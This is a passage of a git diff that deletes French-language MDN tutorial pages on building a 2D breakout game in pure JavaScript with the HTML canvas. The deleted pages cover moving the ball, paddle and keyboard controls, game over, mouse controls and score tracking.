alert("GAME OVER");
-document.location.reload();
-clearInterval(interval); // Needed for Chrome to end game
- - - -

Nous pouvons ainsi y ajouter une logique un peu plus complexe, comme indiqué ci-dessous :

- -
lives--;
-if(!lives) {
-    alert("GAME OVER");
-    document.location.reload();
-    clearInterval(interval); // Needed for Chrome to end game
-}
-else {
-    x = canvas.width/2;
-    y = canvas.height-30;
-    dx = 2;
-    dy = -2;
-    paddleX = (canvas.width-paddleWidth)/2;
-}
- -

Maintenant, quand la balle frappe le bord inférieur de l'écran, nous soustrayons une vie de la variable lives. S'il n'y a plus de vies, la partie est perdue ; s'il reste encore des vies, alors la position de la balle et la raquette sont remises à zéro, ainsi que le mouvement de la balle.

- -

Afficher le compteur de vies

- -

Maintenant, vous devez ajouter un appel à drawLives() dans la fonction draw() et l'ajouter sous l'appel drawScore().

- -
drawLives();
-
- -

Améliorer le rendu avec requestAnimationFrame()

- -

Maintenant, travaillons sur quelque chose qui n'est pas lié à la mécanique du jeu, mais à la façon dont il est rendu. {{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} aide le navigateur à rendre le jeu mieux que la cadence fixe que nous avons actuellement mise en place en utilisant {{domxref("windowTimers.setInterval()", "setInterval()")}}. Remplacez la ligne suivante :

- -
var interval = setInterval(draw, 10);
- -

avec simplement :

- -
draw();
- -

et supprimez chaque occurence de :

- -
clearInterval(interval); // Needed for Chrome to end game
-
- -

Ensuite, tout en bas de la fonction draw() (juste avant l'accolade de fermeture), ajoutez la ligne suivante, ce qui fait que la fonction draw() s'appelle encore et encore :

- -
requestAnimationFrame(draw);
- -

La fonction draw() est maintenant exécutée indéfiniment dans une boucle requestAnimationFrame(), mais au lieu de la cadence fixe de 10 millisecondes, nous redonnons le contrôle de la cadence au navigateur. Il synchronisera la cadence en conséquence et ne n'acutalisera l'affichage que lorsque cela sera nécessaire. Cela permet d'obtenir une boucle d'animation plus efficace et plus fluide que l'ancienne méthode setInterval().

- -

Comparez votre code your code

- -

C'est tout — la version finale du jeu est prête et prête à être lancée !

- -

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}

- -
-

Exercise: changer le nombre de vies et l'angle de rebond de la balle sur la raquette.

-
- -

Game over - pour l'instant !

- -

Vous avez terminé toutes les leçons - félicitations ! À ce stade, vous devriez maintenant connaître les bases de la manipulation des Canevas et la logique des jeux simples en 2D. C'est maintenant le bon moment pour apprendre quelques frameworks et continuer le développement du jeu. Vous pouvez découvrir le pendant de cette série, le casse-brique 2D utilisant Phaser ou le tutoriel Cyber Orb construit avec Phaser. Vous pouvez également consulter la section Jeux sur MDN pour vous inspirer et approfondir vos connaissances.

- -

Vous pouvez également revenir à la page d'accueil de cette série de tutoriels. Amusez-vous bien à coder !

- -

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/game_over/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/game_over/index.html deleted file mode 100644 index 9b37cce3c6..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/game_over/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Fin de partie -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over -tags: - - Canvas - - Débutant - - Fin de partie - - JavaScript - - Jeux - - Tutoriel - - game over -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}

- -
-

Voici la 5ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source comme il devrait être après avoir terminé cette leçon sur Gamedev-Canvas-workshop/lesson5.html.

-
- -

C'est sympa de regarder la balle rebondir contre les murs et de pouvoir bouger la raquette, mais à part ça, le jeu ne fait rien, il n'y a pas de progression ni de but final. Il serait bien, du point de vue du gameplay, de pouvoir perdre. La façon de perdre dans le casse briques est simple. Si vous loupez la balle avec le paddle et la laissez atteindre le bas de l'écran, la partie est terminée.

- -

Intégrer une fin de partie

- -

Essayons d'intégrer une fin de partie dans le jeu . Voyons une partie du code de la troisième leçon, où nous faisions rebondir la balle contre les murs :

- -
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
-    dx = -dx;
-}
-
-if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
-    dy = -dy;
-}
- -

Au lieu de permettre à la balle de rebondir sur les quatre murs, nous n'en autoriserons que trois désormais — gauche, haut et droite. Toucher le mur du bas mettra fin à la partie.

- -

Nous allons  donc modifier le second bloc if (qui gère le déplacement sur l'axe vertical, y) en y ajoutant un else if qui déclenchera un Game Over si la balle entre en collision avec le mur du bas. Pour l'instant nous allons rester simple, afficher un message d'alerte et redémarrer le jeu en rechargeant la page.

- -

Tout d'abord remplacer l'appel initial à setInterval()

- -
setInterval(draw, 10);
-
- -

par 

- -
var interval = setInterval(draw, 10);
-
- - - -

Puis remplacez la seconde instruction if par le code suivant:

- -
if(y + dy < ballRadius) {
-    dy = -dy;
-} else if(y + dy > canvas.height-ballRadius) {
-    alert("GAME OVER");
-    document.location.reload();
-    clearInterval(interval); // Needed for Chrome to end game
-}
- -

Faire rebondir la balle sur la raquette

- -

La dernière chose à faire dans cette leçon est de créer une sorte de détection de collision entre la raquette et la balle, de sorte qu'elle puisse rebondir et revenir dans la zone de jeu. La chose la plus facile à faire est de vérifier si le centre de la balle se  trouve entre les bords droit et gauche du paddle. Mettez à jour le dernier bout de code que vous venez de modifier, comme-ci dessous :

- -
if(y + dy < ballRadius) {
-    dy = -dy;
-} else if(y + dy > canvas.height-ballRadius) {
-    if(x > paddleX && x < paddleX + paddleWidth) {
-        dy = -dy;
-    }
-    else {
-        alert("GAME OVER");
-        document.location.reload();
-        clearInterval(interval);
-    }
-}
- -

Si la balle entre en collision avec le mur du bas, nous devons vérifier si elle touche la raquette. Si c'est le cas, la balle rebondit et revient dans la zone de jeu. Sinon, le jeu est terminé comme avant.

- -

Comparez votre code

- -

Voici le code fonctionnel avec lesquel vous pouvez comparer le vôtre :

- -

{{JSFiddleEmbed("https://jsfiddle.net/end3r/z4zy79fo/","","395")}}

- -
-

Exercice: Faites en sorte que la balle accélère quand elle touche la raquette.

-
- -

Prochaine étape

- -

Nous avons déja bien avancé et notre jeu est devenu plus intéressant depuis que vous pouvez perdre ! Mais il manque encore quelque chose. Rendons-nous au sixième chapitre — Créer le champs de briques — et créons quelques briques que la balle pourra détruire.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/index.html deleted file mode 100644 index 57d3b276ed..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Jeu de casse-briques 2D en pur JavaScript -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript -tags: - - 2D - - Canvas - - Débutant - - JavaScript - - Jeux - - Tutoriel -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/fr/docs/Jeux")}}
- -

{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}}

- -

Dans ce tutoriel, nous allons créer pas à pas un jeu de casse-briques MDN, créé entièrement avec JavaScript et sans framework, et rendu avec la balise HTML5 {{htmlelement("canvas")}}.

- -

Chaque étape est modifiable en direct, et disponible en test pour que vous puissiez voir ce à quoi les étapes intermédiaires devraient ressembler. Vous apprendrez les bases d'utilisations de l'élément {{htmlelement("canvas")}} pour implémenter des mécaniques de base du jeu vidéo, comme charger et déplacer des images, les détections de collisions, les mécanismes de contrôle, et les conditions de victoire/défaite.

- -

Pour comprendre la plupart des articles de ce tutoriel, vous devez déjà avoir un niveau basique ou intermédiaire en JavaScript. À la fin de ce tutoriel, vous serez capable de créer vos propres jeux Web.

- -

Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives.

- -

Détail de la leçon

- -

Toutes les leçons — et les différentes versions de ce jeu de casse-brique MDN que nous allons créer ensemble — sont disponibles sur GitHub :

- -
    -
  1. Créer l'élément canvas et dessiner dessus
    2. -
  2. Déplacer la balle
    3. -
  3. Rebondir sur les murs
    4. -
  4. Contrôles clavier
    5. -
  5. Jeu terminé
    6. -
  6. Construire le mur de briques
    7. -
  7. Détection des collisions
    8. -
  8. Afficher le score et gagner
    9. -
  9. Contrôles souris
    10. -
  10. Finir
    11. -
- -

Commencer avec du Javascript pur et dur est le meilleur moyen d'acquérir des connaissances de développement de jeu web. Après ceci, vous pourrez prendre n'importe quel "framework" et l'utiliser pour vos projets. Les "frameworks" sont des outils créés avec le langage Javascript ; donc, même si vous voulez travailler avec ces derniers, c'est toujours bon d'apprendre le langage lui-même pour savoir ce qu'il se passe exactement. Les "frameworks" améliorent la vitesse de développement et aident à traiter les parties les moins intéressantes du jeu, mais si quelque chose ne fonctionne pas comme prévu, vous pouvez toujours essayer de déboguer ou juste écrire vos propre solutions en Javascript. 

- -
-

Note : Si vous êtes intéressé par l'apprentissage du développement un jeu web 2D avec un "framework", consultez la série Jeu de casse-tête 2D avec Phaser.

-
- -
-

Note : Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser le Gamedev Canvas Content Kit basé sur ce tutoriel si vous voulez faire une présentation sur le développement de jeux en général .

-
- -

Prochaines étapes

- -

Ok, c'est parti ! Rendez-vous au premier chapitre pour commencer — Créer l'élément canvas et dessiner dessus

- -

{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}} 

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/mouse_controls/index.html deleted file mode 100644 index 322e7fd229..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/mouse_controls/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Contrôle à la souris -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls -tags: - - Canevas - - Contrôles - - Débutant - - JavaScript - - Jeux - - Souris - - Tutoriel -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions")}}

- -
-

C'est la 9ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à l'adresse Gamedev-Canvas-workshop/lesson9.html.

-
- -

Le jeu lui-même est en fait terminé, alors travaillons à le peaufiner. Nous avons déjà ajouté des commandes au clavier, mais nous pourrions facilement ajouter des commandes à la souris.

- -

Détecter les mouvements de la souris

- -

Il est encore plus facile de détecter les mouvements de la souris que les pressions sur les touches : il suffit d'écouter l'évènement {{event("mousemove")}}. Ajouter la ligne suivante au même endroit que les autres écouteurs d'événement, juste en dessous de l'évènement keyup :

- -
document.addEventListener("mousemove", mouseMoveHandler, false);
- -

Lier le mouvement de la raquette au mouvement de la souris

- -

Nous pouvons mettre à jour la position de la raquette en fonction des coordonnées du pointeur — c'est exactement ce que fera la fonction de manipulation suivante. Ajoutez la fonction ci-dessous à votre code, sous la dernière ligne que vous avez ajoutée :

- -
function mouseMoveHandler(e) {
-    var relativeX = e.clientX - canvas.offsetLeft;
-    if(relativeX > 0 && relativeX < canvas.width) {
-        paddleX = relativeX - paddleWidth/2;
-    }
-}
- -

Dans cette fonction, nous calculons d'abord une valeur relativeX, qui est égale à la position horizontale de la souris dans la fenêtre de visualisation (e.clientX) moins la distance entre le bord gauche de la toile et le bord gauche de la fenêtre de visualisation (canvas.offsetLeft) — en fait, cette valeur est égale à la distance entre le bord gauche du canevas et le pointeur de la souris. Si la position relative du pointeur X est supérieure à zéro et inférieure à la largeur du canevas, le pointeur se trouve dans les limites du canevas, et la position paddleX (ancrée sur le bord gauche de la palette) est fixée à la valeur relativeX moins la moitié de la largeur de la palette, de sorte que le mouvement sera en fait relatif au milieu de la raquette.

- -

La raquette suivra désormais la position du curseur de la souris, mais comme nous limitons le mouvement à la taille du canevas, elle ne disparaîtra pas complètement d'un côté ou de l'autre.

- -

Comparez votre code

- -

Voici le code final du chapitre, à vous de vérifier et de le tester pour voir si il y a des différences.

- -

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}

- -
-

Exercice : ajustez les limites du mouvement de la raquette, de sorte que la raquette entière soit visible sur les deux bords du canevas au lieu de seulement la moitié.

-
- -

Prochaine étape

- -

Maintenant que nous avons un jeu complet, nous allons terminer notre série de leçons avec quelques petites retouches supplémentaires — Finitions.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/move_the_ball/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/move_the_ball/index.html deleted file mode 100644 index 5619a7bbdf..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/move_the_ball/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Déplacer la balle -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball -tags: - - 2D - - Boucle - - Canevas - - Débutant - - JavaScript - - Mouvement - - Tutoriel -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/fr/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs")}}

- -
-

Voici la deuxième étape de ce tutoriel. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson2.html.

-
- -

Nous avons vu dans l'article précédent comment dessiner une balle, maintenant déplaçons là. Techniquement, nous afficherons la balle sur l'écran, puis nous l'effacerons et ensuite nous la repeindrons dans une position légèrement différente et ceci à chaque image afin de donner l'impression d'un mouvement (tout comme le fonctionnement du mouvement dans les films).

- -

Définir une boucle de dessin

- -

Afin que le dessin soit mis à jour sur le canevas à chaque image, nous allons définir une fonction draw() qui sera exécutée en continu et qui utilisera des variables pour les positions des sprites, etc. Pour qu'une fonction s'exécute de façon répétée avec JavaScript, on pourra utiliser les méthodes {{domxref("WindowTimers.setInterval()", "setInterval()")}} ou {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}.

- -

Supprimez tout le JavaScript que vous avez actuellement dans votre HTML à l'exception des deux premières lignes puis ajoutez ce qui suit en dessous de ces lignes. La fonction draw() sera exécutée toutes les 10 millisecondes (environ) grâce à setInterval :

- -
function draw() {
-  // le code pour dessiner
-}
-setInterval(draw, 10);
- -

Grâce à la nature infinie de setInterval, la fonction draw() sera appelée toutes les 10 millisecondes, sans arrêt jusqu'à ce que nous y mettions un terme. Maintenant, dessinons la balle — ajoutons le code ci-dessous à notre fonction draw() :

- -
ctx.beginPath();
-ctx.arc(50, 50, 10, 0, Math.PI*2);
-ctx.fillStyle = "#0095DD";
-ctx.fill();
-ctx.closePath();
-
- -

Essayez votre code mis à jour maintenant, la balle devrait être repeinte sur chaque image.

- -

Déplacer la balle

- -

Pour le moment, vous ne voyez pas la balle "repeinte" car elle ne bouge pas. Améliorons tout ça. Pour commencer, au lieu d'une position bloquée à (50,50), nous allons définir un point de départ en bas et au milieu du canevas grâce aux variables x et y que nous utiliserons pour définir la position où le cercle est dessiné.

- -

Ajoutez d'abord les deux lignes suivantes au-dessus de votre fonction draw() pour définir x et y :

- -
var x = canvas.width/2;
-var y = canvas.height-30;
-
- -

Ensuite, mettez à jour la fonction draw() afin d'utiliser les variables x et y dans la méthode {{domxref("CanvasRenderingContext2D.arc()","arc()")}} , comme indiqué dans la ligne mise en évidence ci-dessous :

- -
function draw() {
-  ctx.beginPath();
-  ctx.arc(x, y, 10, 0, Math.PI*2);
-  ctx.fillStyle = "#0095DD";
-  ctx.fill();
-  ctx.closePath();
-}
-
- -

Nous voici à la partie importante : nous voulons ajouter une valeur à x et y après que chaque image ait été dessinée afin de faire croire que la balle bouge. On définit ces valeurs comme dx et dy avec comme valeurs respectives 2 et -2. Ajoutez le code après la déclaration des variables x et y :

- -
var dx = 2;
-var dy = -2;
-
- -

La dernière chose à faire est de mettre à jour x et y avec nos variables dx et  dy sur chaque image, de sorte que la balle sera peinte dans la nouvelle position à chaque nouvelle image. Ajoutez les deux nouvelles lignes, indiquées ci-dessous, à votre fonction draw() :

- -
function draw() {
-  ctx.beginPath();
-  ctx.arc(x, y, 10, 0, Math.PI*2);
-  ctx.fillStyle = "#0095DD";
-  ctx.fill();
-  ctx.closePath();
-  x += dx;
-  y += dy;
-}
- -

Enregistrez à nouveau votre code et essayez-le dans votre navigateur. Vous devriez avoir le résultat suivant : ça fonctionne mais on a une trainée laissée par la balle derrière elle :

- -

- -

Effacer le canevas avant chaque image (frame)

- -

La balle laisse une trace parce que qu'une nouveau cercle est dessiné sur chaque frame sans qu'on enlève le précédent. Pas d'inquiétude, il existe un moyen d'effacer le contenu du canevas : {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}. Cette méthode prend en compte quatre paramètres: les coordonnées x et y du coin supérieur gauche d'un rectangle et les coordonnées x et y du coin inférieur droit d'un rectangle. Toute la zone couverte par ce rectangle sera effacée.

- -

Ajoutez la nouvelle ligne en surbrillance ci-dessous à la fonction draw() :

- -
function draw() {
-  ctx.clearRect(0, 0, canvas.width, canvas.height);
-  ctx.beginPath();
-  ctx.arc(x, y, 10, 0, Math.PI*2);
-  ctx.fillStyle = "#0095DD";
-  ctx.fill();
-  ctx.closePath();
-  x += dx;
-  y += dy;
-}
-
- -

Enregistrez votre code et essayez à nouveau. Cette fois, vous verrez la balle se déplacer sans laisser de trace. Toutes les 10 millisecondes, le canvas est effacé, la balle est dessinée sur une position donnée et les valeurs x et y sont mises à jour pour l'image suivante (en anglais, on parle de "frame").

- -

Nettoyer notre code

- -

Dans les prochains articles, nous allons ajouter de plus en plus de d'instructions à la fonction draw(). Mieux vaut donc la garder aussi simple et propre que possible. Commençons par déplacer le code s'occupant de dessiner de la balle vers une fonction séparée.

- -

Remplacez la fonction draw() existante par les deux fonctions suivantes :

- -
function drawBall() {
-  ctx.beginPath();
-  ctx.arc(x, y, 10, 0, Math.PI*2);
-  ctx.fillStyle = "#0095DD";
-  ctx.fill();
-  ctx.closePath();
-}
-
-function draw() {
-  ctx.clearRect(0, 0, canvas.width, canvas.height);
-  drawBall();
-  x += dx;
-  y += dy;
-}
- -

Comparez votre code

- -

Vous pouvez vérifier le code de cet article avec la démo qui suit et jouer avec pour mieux comprendre comment il fonctionne :

- -

{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","395")}}

- -
-

Exercice : Essayez de changer la vitesse de la balle en mouvement ou la direction dans laquelle elle se déplace.

-
- -

Prochaines étapes

- -

Nous avons dessiné nottre balle et elle se déplace mais elle ne cesse de disparaître du bord de notre canevas. Dans le troisième chapitre, nous verrons comment faire rebondir la balle contre les bords.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs")}}

diff --git "a/files/fr/games/workflows/2d_breakout_game_pure_javascript/paddle_et_contr\303\264le_clavier/index.html" "b/files/fr/games/workflows/2d_breakout_game_pure_javascript/paddle_et_contr\303\264le_clavier/index.html" deleted file mode 100644 index 27b1ee4f05..0000000000 --- "a/files/fr/games/workflows/2d_breakout_game_pure_javascript/paddle_et_contr\303\264le_clavier/index.html" +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Raquette et contrôle clavier -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contrôle_clavier -tags: - - Canvas - - Clavier - - Débutant - - JavaScript - - Jeux - - Tuto - - Tutoriel - - contrôle clavier - - graphique -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}

- -
-

C'est la 4ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson4.html.

-
- -

La balle rebondit librement partout et vous pourriez la regarder indéfiniment... Mais il n'y a pas d'interaction avec le joueur. Ce n'est pas un jeu si vous ne pouvez pas le contrôler ! Nous allons donc ajouter une interaction avec le joueur : une raquette contrôlable.

- -

Créer une raquette pour frapper la balle

- -

Il nous faut donc une raquette pour frapper la balle. Définissons quelques variables pour cela. Ajoutez les variables suivantes en haut de votre code, près de vos autres variables :

- -
var paddleHeight = 10;
-var paddleWidth = 75;
-var paddleX = (canvas.width-paddleWidth)/2;
- -

Ici, nous définissons la hauteur et la largeur de la raquette et son point de départ sur l'axe des x pour l'utiliser dans les calculs plus loin dans le code. Créons une fonction qui dessinera la raquette sur l'écran. Ajoutez ce qui suit juste en dessous de votre fonction drawBall() :

- -
function drawPaddle() {
-    ctx.beginPath();
-    ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth, paddleHeight);
-    ctx.fillStyle = "#0095DD";
-    ctx.fill();
-    ctx.closePath();
-}
- -

Permettre à l'utilisateur de contrôler la raquette

- -

Nous pouvons dessiner la raquette où nous voulons, mais elle doit répondre aux actions de l'utilisateur. Il est temps de mettre en place certaines commandes au clavier. Nous aurons besoin de ce qui suit :
-  

- -
    -
  • Deux variables pour stocker des informations sur l'état des touches "gauche" et "droite".
    • -
  • Deux écouteurs d'événements pour les événements keydown et keyup du clavier. Nous voulons exécuter un code pour gérer le mouvement de la raquette lorsque des appuis sur les touches.
    • -
  • Deux fonctions gérant les événements keydown et keyup et le code qui sera exécuté lorsque les touches sont pressées.
    • -
  • La possibilité de déplacer la raquette vers la gauche et vers la droite
    • -
- -

L'état des touches peut être mémorisé dans des variables booléennes comme dans l'exemple ci-dessous. Ajoutez ces lignes près de vos variables :

- -
var rightPressed = false;
-var leftPressed = false;
- -

La valeur par défaut pour les deux est fausse car au début, car les touches ne sont pas enfoncés. Pour être informé des appuis sur les touches, nous allons mettre en place deux écouteurs d'événements. Ajoutez les lignes suivantes juste au-dessus de la ligne setInterval() au bas de votre JavaScript :

- -
document.addEventListener("keydown", keyDownHandler, false);
-document.addEventListener("keyup", keyUpHandler, false);
- -

Lorsque l'événement keydown est déclenché par l'appui d'une des touches de votre clavier (lorsqu'elles sont enfoncées), la fonction keyDownHandler() est exécutée. Le même principe est vrai pour le deuxième écouteur : les événements keyup activent la fonction keyUpHandler() (lorsque les touches cessent d'être enfoncées). Ajoutez ces lignes à votre code, sous les lignes addEventListener() :

- -
function keyDownHandler(e) {
-    if(e.key == "Right" || e.key == "ArrowRight") {
-        rightPressed = true;
-    }
-    else if(e.key == "Left" || e.key == "ArrowLeft") {
-        leftPressed = true;
-    }
-}
-
-function keyUpHandler(e) {
-    if(e.key == "Right" || e.key == "ArrowRight") {
-        rightPressed = false;
-    }
-    else if(e.key == "Left" || e.key == "ArrowLeft") {
-        leftPressed = false;
-    }
-}
- -

Quand on presse une touche du clavier, l'information est stockée dans une variable. La variable concernée est mis sur true. Quand la touche est relachée, la variable revient à  false.

- -

Les deux fonctions prennent un événement comme paramètre, représenté par la variable e. De là, vous pouvez obtenir des informations utiles : la propriété key contient les informations sur la touche qui a été enfoncée.  La plupart des navigateurs utilisent ArrowRight et ArrowLeft pour les touches de flèche gauche/droite, mais nous devons également tester Right and Left pour prendre en charge les navigateurs IE/Edge. Si la touche gauche est enfoncé, la variable leftPressed est mise à true, et lorsqu'elle est relâchée, la variable leftPressed est mise à false. Le même principe s'applique à la touche droite et à la variable RightPressed.

- -

La logique du déplacement de la raquette

- -

Nous avons maintenant mis en place les variables pour stocker les informations sur les touches pressées, les écouteurs d'événements et les fonctions associées. Ensuite, nous allons entrer dans le code pour utiliser tout ce que nous venons de configurer et pour déplacer la palette à l'écran. Dans la fonction draw(), nous vérifierons si les touches gauche ou droite sont pressées lors du rendu de chaque image. Notre code pourrait ressembler à ceci :

- -
if(rightPressed) {
-    paddleX += 7;
-}
-else if(leftPressed) {
-    paddleX -= 7;
-}
- -

Si la touche gauche est enfoncée, la raquette se déplacera de sept pixels vers la gauche, et si la droite est enfoncé, la raquette se déplacera de sept pixels vers la droite. Cela fonctionne actuellement, mais la raquette disparaît du bord du canevas si nous maintenons l'une ou l'autre des touches trop longtemps enfoncée. Nous pourrions améliorer cela et déplacer la raquette uniquement dans les limites du canevas en changeant le code comme ceci :

- -
if(rightPressed) {
-    paddleX += 7;
-    if (paddleX + paddleWidth > canvas.width){
-        paddleX = canvas.width - paddleWidth;
-    }
-}
-else if(leftPressed) {
-    paddleX -= 7;
-    if (paddleX < 0){
-        paddleX = 0;
-    }
-}
- -

La position de paddleX que nous utilisons variera entre 0 sur le côté gauche du canevas et canvas.width-paddleWidth sur le côté droit, ce qui fonctionnera exactement comme nous le souhaitons.
-
- Ajoutez le bloc de code ci-dessus dans la fonction draw() en bas, juste au-dessus de l'accolade de fermeture.
-
- Il ne reste plus qu'à appeler la fonction drawPaddle() depuis la fonction draw(), pour l'afficher réellement à l'écran. Ajoutez la ligne suivante à l'intérieur de votre fonction draw(), juste en dessous de la ligne qui appelle drawBall() :

- -
drawPaddle();
-
- -

Comparez votre code

- -

Voici le code de référence auquel vous pouvez comparer le vôtre :

- -

{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","395")}}

- -
-

Exercice: faites aller la raquette plus vite ou plus lentement, ou changez sa taille.

-
- -

Dans le prochain chapitre

- -

Maintenant, nous avons quelque chose qui ressemble à un jeu. Le seul problème, c'est que vous pouvez continuer à frapper la balle avec la raquette indéfiniment. Tout cela va changer dans le cinquième chapitre, Game over, lorsque nous commencerons à ajouter un état de fin de partie pour notre jeu.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}

diff --git a/files/fr/games/workflows/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html b/files/fr/games/workflows/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html deleted file mode 100644 index 090b0ea4cb..0000000000 --- a/files/fr/games/workflows/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Suivre le score et gagner -slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win -translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

- -
-

Ceci est la 8ème étape de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à : Gamedev-Canvas-workshop/lesson8.html.

-
- -

Détruire les briques est vraiment cool, mais pour être encore meilleur le jeu pourrait attribuer des points pour chaque brique touchée et compter le score total.

- -

Calculer le score

- -

Si vous pouvez voir votre score durant le jeu, vous pourrez impressioner vos amis. Vous avez besoin d'une variable pour stocker le score. Ajoutez ce qui suit dans votre JavaScript après le reste de vos variables : 

- -
var score = 0;
- -

Vous avez aussi besoin d'une fonction drawScore(), pour créer et mettre à jour l'affichage du score. Ajoutez ce qui suit après la fonction de détection de collision collisionDetection():

- -
function drawScore() {
-    ctx.font = "16px Arial";
-    ctx.fillStyle = "#0095DD";
-    ctx.fillText("Score: "+score, 8, 20);
-}
- -

Dessiner du texte sur un canvas revient à dessiner une forme. La définition de la police est identique à celle en CSS — vous pouvez définir la taille et le type avec la méthode   {{domxref("CanvasRenderingContext2D.font","font()")}}. Puis utilisez {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} pour définir la couleur de la police et {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} pour définir la position du texte sur le canevas. Le premier paramètre est le texte lui-même — le code ci-dessus indique le nombre actuel de points — et les deux derniers paramètres sont les coordonnées où le texte est placé sur le canevas.

- -

Pour attribuer le score à chaque collision avec une brique, ajoutez une ligne à la fonction collisionDetection() afin d'incrémenter la valeur de la variable score à chaque détection d'une collision. Ajoutez à votre code la ligne mise en évidence ci-dessous :

- -
function collisionDetection() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var b = bricks[c][r];
-            if(b.status == 1) {
-                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
-                    dy = -dy;
